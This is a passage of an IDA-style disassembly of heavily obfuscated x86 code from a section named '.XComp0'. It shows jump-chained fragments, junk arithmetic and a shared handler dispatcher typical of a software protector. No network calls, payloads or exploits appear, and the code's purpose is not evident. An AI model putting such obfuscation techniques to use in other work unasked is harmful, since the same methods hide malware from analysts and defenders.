; ---------------------------------------------------------------------------


loc_57DD78:				; CODE XREF: .XComp0:0057356Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_574346
; ---------------------------------------------------------------------------


loc_57DD86:				; CODE XREF: .XComp0:0057725Ej
		push	426Ch
		jmp	loc_57C15F
; ---------------------------------------------------------------------------


loc_57DD90:				; CODE XREF: .XComp0:0057EB02j
		push	dword ptr [esp]
		jmp	loc_57F5BA
; ---------------------------------------------------------------------------


loc_57DD98:				; CODE XREF: .XComp0:005831ABj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_57DF85
; ---------------------------------------------------------------------------


loc_57DDA1:				; CODE XREF: .XComp0:0057D013j
		add	esp, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_5811A0
; ---------------------------------------------------------------------------


loc_57DDAF:				; CODE XREF: .XComp0:005757C5j
		mov	bx, [esp]
		add	esp, 2
		add	bl, 1Dh
		add	bl, 20h
		push	edx
		jmp	loc_5811F9
; ---------------------------------------------------------------------------


loc_57DDC5:				; CODE XREF: .XComp0:005767DDj
		push	3820156Dh
		pop	edi
		jmp	loc_57BB10
; ---------------------------------------------------------------------------


loc_57DDD0:				; CODE XREF: .XComp0:00574172j
		push	edx
		mov	edx, eax
		mov	ebp, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		inc	ebp
		inc	ebp
		inc	ebp
		push	ebx
		mov	ebx, 528E6CD3h
		sub	ebx, 7F05721h
		sub	ebx, 1A143AD3h
		jmp	loc_57A455
; ---------------------------------------------------------------------------


loc_57DDF6:				; CODE XREF: .XComp0:0057E0FEj
		push	edx
		jmp	loc_57D7AB
; ---------------------------------------------------------------------------


loc_57DDFC:				; CODE XREF: .XComp0:0057A1B6j
		mov	ebx, 7D88212Bh
		sub	ebx, 0F5B4E65h
		or	ebx, 0B54146Fh
		dec	ebx
		add	ebx, 0BAAD722Dh
		add	ebx, 0A507866h
		add	ebx, 0E5247AE8h
		xor	ebp, ebx
		jmp	loc_577594
; ---------------------------------------------------------------------------
		db 58h
		dd 0E1895156h, 4C181h, 0E9810000h, 4, 5C240C87h, 0FF9CFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57DE41:				; CODE XREF: .XComp0:0057C2D5j
		sub	eax, edi
		jmp	loc_57B784
; ---------------------------------------------------------------------------


loc_57DE48:				; CODE XREF: .XComp0:0057CF17j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 536F36C7h
		jmp	loc_577849
; ---------------------------------------------------------------------------


loc_57DE5E:				; CODE XREF: .XComp0:0057AD1Bj
		sub	esp, 4
		jmp	loc_57F01E
; ---------------------------------------------------------------------------


loc_57DE69:				; CODE XREF: .XComp0:0057EA9Fj
		add	esp, 4
		jmp	loc_574579
; ---------------------------------------------------------------------------


loc_57DE74:				; CODE XREF: .XComp0:00576C0Ej
		push	esi
		mov	esi, 38867D81h
		and	esi, 76CE0615h
		jmp	loc_57FE49
; ---------------------------------------------------------------------------


loc_57DE85:				; CODE XREF: .XComp0:005799E7j
		sub	ebx, 253E2815h
		sub	ebx, 174D09FDh
		sub	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 684D33h
		add	edx, ebx
		pop	ebx
		sub	edx, 7D7E6C34h
		push	ecx
		push	edi
		mov	edi, 37080D55h
		sub	edi, 4CDF5FD0h
		push	ebp
		jmp	loc_57C64F
; ---------------------------------------------------------------------------


loc_57DEB6:				; CODE XREF: .XComp0:0057F4EDj
		mov	ebp, esp
		add	ebp, 4
		push	36EBh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		push	6A030F54h
		mov	ecx, [esp]
		add	esp, 4
		or	ecx, 1346466Ah
		shr	ecx, 6
		jmp	loc_57A132
; ---------------------------------------------------------------------------


loc_57DEE5:				; CODE XREF: .XComp0:00580F1Ej
		shr	ebp, 1
		shl	ebp, 3
		shr	ebp, 1
		push	499Ah
		mov	[esp], esi
		mov	esi, 7B9E04DDh
		xor	ebp, esi
		pop	esi
		jmp	loc_57831E
; ---------------------------------------------------------------------------


loc_57DF01:				; CODE XREF: .XComp0:00579DB5j
		sub	edx, 767F1895h
		sub	edx, esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_581845
; ---------------------------------------------------------------------------


loc_57DF14:				; CODE XREF: .XComp0:00577F3Cj
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 6CB374AAh
		jmp	loc_581B52
; ---------------------------------------------------------------------------


loc_57DF27:				; CODE XREF: .XComp0:005762B1j
		xchg	ebx, edi
		jmp	loc_57AC6D
; ---------------------------------------------------------------------------


loc_57DF2E:				; CODE XREF: .XComp0:005743FCj
		mov	[esp], ebp
		push	ecx
		mov	ecx, eax
		push	ecx
		xor	dword ptr [esp], 437C1EAFh
		pop	ebp
		xor	ebp, 437C1EAFh
		pop	ecx
		mov	esi, ebp
		pop	ebp
		push	eax
		jmp	loc_573CEC
; ---------------------------------------------------------------------------


loc_57DF4D:				; CODE XREF: .XComp0:00580045j
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57DF59:				; CODE XREF: .XComp0:00577CC2j
		add	dword ptr [esp], 4
		jmp	loc_57667D
; ---------------------------------------------------------------------------


loc_57DF62:				; CODE XREF: .XComp0:00577494j
		add	ebx, edi
		push	dword ptr [esp]
		jmp	loc_58306D
; ---------------------------------------------------------------------------


loc_57DF6C:				; CODE XREF: .XComp0:00580807j
		push	ebp
		push	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_57C91B
; ---------------------------------------------------------------------------


loc_57DF85:				; CODE XREF: .XComp0:0057DD9Cj
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_582024
; ---------------------------------------------------------------------------


loc_57DF95:				; CODE XREF: .XComp0:0057F626j
		mov	edx, 66F31D09h
		jmp	loc_57676F
; ---------------------------------------------------------------------------


loc_57DF9F:				; CODE XREF: .XComp0:0057BF8Dj
		shl	ebp, 3
		and	ebp, 607D629Bh
		dec	ebp
		xor	ebp, 723015Ch
		sub	edx, 1CE74AFDh
		add	edx, ebp
		add	edx, 1CE74AFDh
		pop	ebp
		push	eax
		push	edx
		mov	edx, 481251EAh
		mov	eax, edx
		jmp	loc_57D803
; ---------------------------------------------------------------------------


loc_57DFCC:				; CODE XREF: .XComp0:0057EA68j
		add	esp, 4
		jmp	loc_583731
; ---------------------------------------------------------------------------


loc_57DFD4:				; CODE XREF: .XComp0:0057F187j
		shl	edi, 5
		push	edx
		mov	edx, 0E9EEFBB8h
		xor	edi, edx
		pop	edx
		sub	esi, 20CA1EE9h
		sub	esi, edi
		add	esi, 20CA1EE9h
		pop	edi
		sub	esi, 1
		add	esi, 73B26B96h
		push	4873h
		mov	[esp], eax
		push	0CF9A0CABh
		pop	eax
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_580CEA
; ---------------------------------------------------------------------------


loc_57E010:				; CODE XREF: .XComp0:005744C0j
		add	ecx, ebx
		pop	ebx
		add	ecx, 2
		push	3112h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_580831
; ---------------------------------------------------------------------------


loc_57E02A:				; CODE XREF: .XComp0:005821C6j
		xor	edx, ecx
		push	dword ptr [esp]
		jmp	loc_5735F1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 575A4039h
		jmp	loc_5832A2
; ---------------------------------------------------------------------------


loc_57E046:				; CODE XREF: .XComp0:00575A84j
		mov	ch, bh
		pop	ebx
		pop	edx
		pop	ebx
		pop	eax
		pop	ebx
		push	ebx
		push	eax
		mov	al, ch
		jmp	loc_57F68F
; ---------------------------------------------------------------------------


loc_57E056:				; CODE XREF: .XComp0:00579B07j
		mov	esp, [esp]
		jmp	loc_57C488
; ---------------------------------------------------------------------------


loc_57E05E:				; CODE XREF: .XComp0:0057E741j
		add	dh, 0B7h
		shl	dh, 6
		xor	dh, 63h
		sub	dh, 0EFh
		sub	ah, dh
		pop	edx
		add	dl, 0D6h
		sub	dl, ah
		jmp	loc_577420
; ---------------------------------------------------------------------------


loc_57E077:				; CODE XREF: .XComp0:00576F4Cj
		pop	ebp
		xor	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_57983A
; ---------------------------------------------------------------------------


loc_57E08B:				; CODE XREF: .XComp0:0057C64Aj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_57F7E4
; ---------------------------------------------------------------------------


loc_57E09B:				; CODE XREF: .XComp0:00582E39j
		push	eax
		push	esp
		pop	eax
		push	7E05h
		mov	[esp], edx
		mov	edx, 4F8562FBh
		not	edx
		sub	edx, 0B07A9D00h
		jmp	loc_57E6AE
; ---------------------------------------------------------------------------


loc_57E0B8:				; CODE XREF: .XComp0:0057F88Fj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_57A833
; ---------------------------------------------------------------------------


loc_57E0C7:				; CODE XREF: .XComp0:0057EB24j
		sub	esi, 52583A34h
		add	esi, eax
		add	esi, 52583A34h
		jmp	loc_57C213
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_5767CA
; ---------------------------------------------------------------------------


loc_57E0E6:				; CODE XREF: .XComp0:0057B859j
		push	ecx
		mov	ecx, 5E18137Fh
		mov	ebx, 72EA6EA7h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	ecx
		jmp	loc_57DDF6
; ---------------------------------------------------------------------------


loc_57E103:				; CODE XREF: .XComp0:0057CE90j
		mov	edx, 5CFC6881h
		sub	edx, 0E22703D3h
		jmp	loc_57D3FE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57E123:				; CODE XREF: .XComp0:0057911Bj
		add	eax, 0EE25497h
		pop	ebx
		push	ecx
		mov	ecx, 0B2A78A5h
		add	eax, ecx
		jmp	loc_573D8E
; ---------------------------------------------------------------------------


loc_57E136:				; CODE XREF: .XComp0:0057FEE9j
		pop	esp
		dec	word ptr [esp]
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57E141:				; CODE XREF: .XComp0:00574C76j
		mov	esi, 5EBF02F7h
		mov	edi, esi
		pop	esi
		inc	edi
		sub	edi, 5EBF02F4h
		add	esi, edi
		pop	edi
		push	ecx
		mov	ecx, 0F3D6AAFh
		shl	ecx, 3
		push	ebx
		jmp	loc_57B7A5
; ---------------------------------------------------------------------------


loc_57E162:				; CODE XREF: .XComp0:0057BC8Bj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_583455
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	4466h
		jmp	loc_57B030
; ---------------------------------------------------------------------------


loc_57E18F:				; CODE XREF: .XComp0:00577D0Dj
		xor	edi, 0AC626495h
		add	eax, edi
		pop	edi
		jmp	loc_576BB0
; ---------------------------------------------------------------------------


loc_57E19D:				; CODE XREF: .XComp0:00574488j
		mov	[esp], edx
		jmp	loc_577229
; ---------------------------------------------------------------------------


loc_57E1A5:				; CODE XREF: .XComp0:0057803Dj
		dec	edi
		jmp	loc_575256
; ---------------------------------------------------------------------------


loc_57E1AB:				; CODE XREF: .XComp0:0057D601j
		push	eax
		mov	eax, 774D7549h
		jmp	loc_578486
; ---------------------------------------------------------------------------


loc_57E1B6:				; CODE XREF: .XComp0:00576733j
		add	ebx, esi
		pop	esi
		jmp	loc_57F026
; ---------------------------------------------------------------------------


loc_57E1BE:				; CODE XREF: .XComp0:0057C8E4j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_57E8F8
; ---------------------------------------------------------------------------


loc_57E1CC:				; CODE XREF: .XComp0:005813E0j
		mov	ecx, edi
		pop	edi
		jmp	loc_576691
; ---------------------------------------------------------------------------


loc_57E1D4:				; CODE XREF: .XComp0:00579904j
		sub	dword ptr [esp+8], 351633Fh
		jmp	loc_574573
; ---------------------------------------------------------------------------


loc_57E1E1:				; CODE XREF: .XComp0:00580E98j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, al
		push	edx
		push	eax
		mov	ah, bl
		push	ebx
		push	ecx
		mov	cl, ah
		mov	bh, cl
		pop	ecx
		jmp	loc_582C43
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dh, 5Ah
		push	ebx
		mov	bh, 3Ah
		jmp	loc_577263
; ---------------------------------------------------------------------------


loc_57E208:				; CODE XREF: .XComp0:0057B306j
		mov	eax, [esp]
		jmp	loc_57A664
; ---------------------------------------------------------------------------


loc_57E210:				; CODE XREF: .XComp0:005763E1j
		pop	ebp
		add	ax, bx
		push	esi
		jmp	loc_5749C3
; ---------------------------------------------------------------------------


loc_57E21A:				; CODE XREF: .XComp0:00574A01j
		xor	eax, [esp]
		jmp	loc_57959F
; ---------------------------------------------------------------------------


loc_57E222:				; CODE XREF: .XComp0:00578D90j
		pop	ebx
		push	esi
		mov	esi, 1AE72DF5h
		add	[esp+8], esi
		pop	esi
		sub	dword ptr [esp+4], 4B8F51C7h
		jmp	loc_58202E
; ---------------------------------------------------------------------------


loc_57E23B:				; CODE XREF: .XComp0:00576D45j
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		jmp	loc_57DD51
; ---------------------------------------------------------------------------


loc_57E248:				; CODE XREF: .XComp0:0057D089j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57E24D:				; CODE XREF: .XComp0:0057A8FEj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57E25C:				; CODE XREF: .XComp0:005743DDj
		pop	esi
		jmp	loc_574E84
; ---------------------------------------------------------------------------


loc_57E262:				; CODE XREF: .XComp0:0058105Dj
		xor	esi, 31576F16h
		push	eax
		jmp	loc_574177
; ---------------------------------------------------------------------------


loc_57E26E:				; CODE XREF: .XComp0:0057C03Cj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_57E56D
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_57855D
; ---------------------------------------------------------------------------


loc_57E28F:				; CODE XREF: .XComp0:0057E810j
		add	esp, 4
		jmp	loc_5764CD
; ---------------------------------------------------------------------------


loc_57E297:				; CODE XREF: .XComp0:00574B30j
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57D158
; ---------------------------------------------------------------------------


loc_57E2BC:				; CODE XREF: .XComp0:00581480j
		mov	dh, ah
		pop	eax
		sub	dh, 72h
		add	bl, dh
		pop	edx
		add	bl, al
		push	ecx
		jmp	loc_5803DD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	5DDEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_574A48
; ---------------------------------------------------------------------------


loc_57E2E6:				; CODE XREF: .XComp0:00576D58j
		sub	eax, 0FE5328Ah
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_57B073
; ---------------------------------------------------------------------------


loc_57E2FC:				; CODE XREF: .XComp0:0057B4ADj
		pop	dword ptr [esp]
		push	ecx
		jmp	loc_5805D3
; ---------------------------------------------------------------------------


loc_57E305:				; CODE XREF: .XComp0:00576A51j
		mov	esp, [esp]
		xor	ebx, edx
		jmp	loc_577E91
; ---------------------------------------------------------------------------


loc_57E30F:				; CODE XREF: .XComp0:00574358j
		add	esp, 4
		push	3FC3h
		jmp	loc_574C3E
; ---------------------------------------------------------------------------


loc_57E31F:				; CODE XREF: .XComp0:0057B90Ej
		mov	edi, ebp
		pop	ebp
		jmp	loc_57C9D3
; ---------------------------------------------------------------------------


loc_57E327:				; CODE XREF: .XComp0:0057C927j
		not	ecx
		dec	ecx
		not	ecx
		inc	ecx
		jmp	loc_57EB07
; ---------------------------------------------------------------------------


loc_57E332:				; CODE XREF: .XComp0:00577F14j
		push	esi
		mov	esi, 1EF55B9Ah
		add	ebx, esi
		pop	esi
		pop	esi
		or	[edi+1Ch], ebx
		mov	ebx, [esp]
		jmp	loc_57BA14
; ---------------------------------------------------------------------------


loc_57E347:				; CODE XREF: .XComp0:0057A2ABj
		add	esi, edi
		jmp	loc_57CCD2
; ---------------------------------------------------------------------------


loc_57E34E:				; CODE XREF: .XComp0:0057C536j
		push	57A6h
		mov	[esp], ebx
		mov	ebx, 5BC84265h
		inc	ebx
		sub	ebx, 5BC84262h
		add	esi, ebx
		jmp	loc_575B31
; ---------------------------------------------------------------------------


loc_57E369:				; CODE XREF: .XComp0:0057A628j
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5777F4
; ---------------------------------------------------------------------------


loc_57E375:				; CODE XREF: .XComp0:00581E58j
		mov	esi, 2473415Ah
		jmp	loc_576C91
; ---------------------------------------------------------------------------


loc_57E37F:				; CODE XREF: .XComp0:0057EA26j
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_57F7A5
; ---------------------------------------------------------------------------


loc_57E389:				; CODE XREF: .XComp0:00575DCBj
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_57F0BB
; ---------------------------------------------------------------------------


loc_57E39C:				; CODE XREF: .XComp0:00577916j
		mov	[esp], edx
		mov	edx, 2FCC2AEAh
		add	edx, 7D55306Fh
		jmp	loc_578CF3
; ---------------------------------------------------------------------------


loc_57E3AF:				; CODE XREF: .XComp0:00573B1Cj
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	3D3Ch
		mov	[esp], ebp
		mov	ebp, 63414BE2h
		shr	ebp, 8
		push	edx
		jmp	loc_5765F0
; ---------------------------------------------------------------------------


loc_57E3D1:				; CODE XREF: .XComp0:0057CD21j
		mov	eax, 6D462D74h
		not	eax
		shr	eax, 5
		add	eax, 9B9544Bh
		sub	eax, 5C7323E8h
		add	eax, 0BF915FCAh
		or	esi, eax
		pop	eax
		jmp	loc_57C599
; ---------------------------------------------------------------------------


loc_57E3F2:				; CODE XREF: .XComp0:00576992j
		or	eax, eax
		jz	loc_5823FF
		push	3265h
		mov	[esp], esi
		jmp	loc_57712E
; ---------------------------------------------------------------------------


loc_57E407:				; CODE XREF: .XComp0:0057FCF0j
		add	esp, 4
		jmp	loc_577076
; ---------------------------------------------------------------------------


loc_57E412:				; CODE XREF: .XComp0:005792A5j
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 657B3F24h
		add	esi, ebp
		add	esi, 657B3F24h
		pop	ebp
		push	ebx
		mov	ebx, 4A5D752Dh
		and	ebx, 75CF6F4Ch
		shl	ebx, 4
		sub	ebx, 0C081E379h
		jmp	loc_574A9C
; ---------------------------------------------------------------------------


loc_57E441:				; CODE XREF: .XComp0:0058199Fj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_583171
; ---------------------------------------------------------------------------


loc_57E454:				; CODE XREF: .XComp0:00579038j
		xchg	esi, [esp]
		jmp	loc_575BD1
; ---------------------------------------------------------------------------


loc_57E45C:				; CODE XREF: .XComp0:0057A2BFj
		sub	[esp+4], edx
		mov	edx, [esp]
		push	ebp
		jmp	loc_57EC30
; ---------------------------------------------------------------------------


loc_57E469:				; CODE XREF: .XComp0:00580EE7j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 45161D2h
		shl	eax, 6
		xor	eax, 6EAB747Ch
		sub	eax, 0DA38F03Eh
		jmp	loc_57F40B
; ---------------------------------------------------------------------------


loc_57E487:				; CODE XREF: .XComp0:0057474Ej
		or	eax, ebx
		pop	ebx
		shr	eax, 5
		or	eax, 79975402h
		xor	eax, 0D3141955h
		add	ecx, eax
		jmp	loc_5771F2
; ---------------------------------------------------------------------------


loc_57E49E:				; CODE XREF: .XComp0:00575D58j
		pop	edx
		add	esp, 4
		push	0B19h
		jmp	loc_57C0C1
; ---------------------------------------------------------------------------


loc_57E4AF:				; CODE XREF: .XComp0:00578945j
		sub	esi, 67C55452h
		add	esi, 9AF11D2h
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 7D246296h
		and	esi, edx
		pop	edx
		jmp	loc_5752DD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57E4E2:				; CODE XREF: .XComp0:00576098j
		add	edx, 208B408Ah
		jmp	loc_57461F
; ---------------------------------------------------------------------------


loc_57E4ED:				; CODE XREF: .XComp0:00579AA6j
		pop	edx
		sub	dword ptr [esp], 352952C7h
		jmp	loc_580AAB
; ---------------------------------------------------------------------------


loc_57E4FA:				; CODE XREF: .XComp0:005830BFj
		push	ebp
		mov	ebp, 24822A92h
		add	edx, ebp
		pop	ebp
		add	edx, eax
		push	esi
		push	64DC5CF2h
		pop	esi
		push	5E12h
		mov	[esp], edx
		push	1CE34AADh
		jmp	loc_575F91
; ---------------------------------------------------------------------------


loc_57E51E:				; CODE XREF: .XComp0:00576D7Fj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57E523:				; CODE XREF: .XComp0:005789B5j
		push	esi
		push	esp
		pop	esi
		jmp	loc_573F6C
; ---------------------------------------------------------------------------


loc_57E52B:				; CODE XREF: .XComp0:0057817Fj
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_57529A
; ---------------------------------------------------------------------------


loc_57E537:				; CODE XREF: .XComp0:00577756j
		and	ebp, edx
		jmp	loc_575F57
; ---------------------------------------------------------------------------


loc_57E53E:				; CODE XREF: .XComp0:0057D3BEj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57C2A4
; ---------------------------------------------------------------------------


loc_57E55A:				; CODE XREF: .XComp0:00577C3Fj
		push	ecx
		mov	cl, 0E4h
		add	cl, 63h
		add	al, 27h
		sub	al, 95h
		sub	al, cl
		add	al, 95h
		jmp	loc_583275
; ---------------------------------------------------------------------------


loc_57E56D:				; CODE XREF: .XComp0:0057E281j
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_575DBA
; ---------------------------------------------------------------------------


loc_57E57E:				; CODE XREF: .XComp0:005822DEj
		mov	ah, 15h
		mov	dl, ah
		jmp	loc_577A1E
; ---------------------------------------------------------------------------


loc_57E587:				; CODE XREF: .XComp0:0057F8BEj
		pop	ecx
		dec	ecx
		inc	ecx
		and	ecx, 784D200Ah
		push	eax
		mov	eax, 38B706A2h
		neg	eax
		jmp	loc_58287D
; ---------------------------------------------------------------------------


loc_57E59D:				; CODE XREF: .XComp0:00576AEFj
		push	small 51C9h
		jmp	loc_5817C2
; ---------------------------------------------------------------------------


loc_57E5A6:				; CODE XREF: .XComp0:0057B346j
		sub	eax, 68392A61h
		jmp	loc_57A2E7
; ---------------------------------------------------------------------------


loc_57E5B0:				; CODE XREF: .XComp0:0057E666j
		or	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_57AAF4
; ---------------------------------------------------------------------------


loc_57E5C1:				; CODE XREF: .XComp0:00581840j
		add	esi, 4
		add	esi, 4
		push	35F6h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57E5E3:				; CODE XREF: .XComp0:00575913j
		xor	eax, 0A5A5B233h
		mov	ecx, eax
		jmp	loc_5782E9
; ---------------------------------------------------------------------------


loc_57E5EF:				; CODE XREF: .XComp0:005788B1j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_576523
; ---------------------------------------------------------------------------


loc_57E602:				; CODE XREF: .XComp0:005790C1j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_580DB3
; ---------------------------------------------------------------------------


loc_57E60F:				; CODE XREF: .XComp0:0058329Dj
		push	ebx
		mov	ebx, 1AAE6478h
		shl	ebx, 4
		jmp	loc_579746
; ---------------------------------------------------------------------------


loc_57E61D:				; CODE XREF: .XComp0:0057F1CBj
		sub	ecx, 0FD823898h
		xor	esi, ecx
		pop	ecx
		inc	esi
		neg	esi
		xor	esi, 0AB32E18Ch
		or	ecx, esi
		pop	esi
		add	ecx, 4B185425h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_581667
; ---------------------------------------------------------------------------


loc_57E651:				; CODE XREF: .XComp0:0057F0FFj
		xor	esi, 14DE4289h
		and	ebx, esi
		pop	esi
		add	ebx, 0FFFFFFFFh
		push	eax
		mov	eax, 74B05664h
		jmp	loc_57E5B0
; ---------------------------------------------------------------------------


loc_57E66B:				; CODE XREF: .XComp0:0057F490j
		push	edx
		dec	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5772D8
; ---------------------------------------------------------------------------


loc_57E67A:				; CODE XREF: .XComp0:00580E6Cj
		sub	dword ptr [esp+4], 18C62F82h
		sub	dword ptr [esp+4], 539B2545h
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58232C
; ---------------------------------------------------------------------------


loc_57E699:				; CODE XREF: .XComp0:005823D3j
		push	ebp
		mov	ebp, 4
		jmp	loc_57BB83
; ---------------------------------------------------------------------------


loc_57E6A4:				; CODE XREF: .XComp0:0057C53Cj
		mov	ecx, 600C4CBDh
		jmp	loc_57D17F
; ---------------------------------------------------------------------------


loc_57E6AE:				; CODE XREF: .XComp0:0057E0B3j
		push	edx
		push	eax
		mov	eax, 62CF064Eh
		push	ebp
		mov	ebp, eax
		mov	edx, ebp
		pop	ebp
		jmp	loc_575FC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57E6C0:				; CODE XREF: sub_5A47B5-29645j
		mov	dh, 83h
		neg	dh
		xor	dh, 0CCh
		jmp	loc_573E6E
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57E6CC:				; CODE XREF: .XComp0:0057FB36j
		xor	ebp, 6939641Ah
		jmp	loc_580DE2
; ---------------------------------------------------------------------------


loc_57E6D7:				; CODE XREF: .XComp0:00581654j
		sub	dword ptr [esp+4], 18F17E09h
		jmp	loc_5757FA
; ---------------------------------------------------------------------------


loc_57E6E4:				; CODE XREF: .XComp0:00580704j
		pop	eax
		add	edx, 4
		jmp	loc_57B3F8
; ---------------------------------------------------------------------------


loc_57E6ED:				; CODE XREF: .XComp0:0057DD29j
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		jmp	loc_57568D
; ---------------------------------------------------------------------------


loc_57E703:				; CODE XREF: .XComp0:00582940j
		mov	[esp], ebx
		mov	bl, 3Dh
		jmp	loc_57AB1A
; ---------------------------------------------------------------------------


loc_57E70D:				; CODE XREF: .XComp0:00580EDDj
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 31997513h
		jmp	loc_57B0FD
; ---------------------------------------------------------------------------


loc_57E71F:				; CODE XREF: .XComp0:005772F4j
		pop	eax
		jmp	loc_582E48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57E725:				; CODE XREF: sub_5A47B5-2ACCCj
		push	cx
		jmp	loc_579C68
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_57E72C:				; CODE XREF: .XComp0:00578915j
		mov	[esp], eax
		mov	ah, 0A8h
		inc	ah
		or	ah, 0DAh
		inc	ah
		xor	ah, 25h
		shl	ah, 8
		push	edx
		mov	dh, 4Ch
		jmp	loc_57E05E
; ---------------------------------------------------------------------------


loc_57E746:				; CODE XREF: .XComp0:00579FDCj
		xor	bl, cl
		pop	ecx
		or	bl, 5
		sub	bl, 18h
		xor	bl, 51h
		sub	al, 5Fh
		add	al, bl
		add	al, 5Fh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_57AAE2
; ---------------------------------------------------------------------------


loc_57E772:				; CODE XREF: .XComp0:00583054j
		push	ecx
		push	eax
		mov	eax, 5F51011Ch
		mov	ecx, 0A0AEFEE8h
		add	ecx, eax
		jmp	loc_57F529
; ---------------------------------------------------------------------------


loc_57E785:				; CODE XREF: .XComp0:005747E5j
		mov	esi, 2D0E71E0h
		xor	esi, 6BB161A5h
		mov	edi, esi
		jmp	loc_578367
; ---------------------------------------------------------------------------


loc_57E797:				; CODE XREF: .XComp0:0058320Cj
		push	dword ptr [esp]
		jmp	loc_579ECF
; ---------------------------------------------------------------------------


loc_57E79F:				; CODE XREF: .XComp0:00579512j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebp
		push	edx
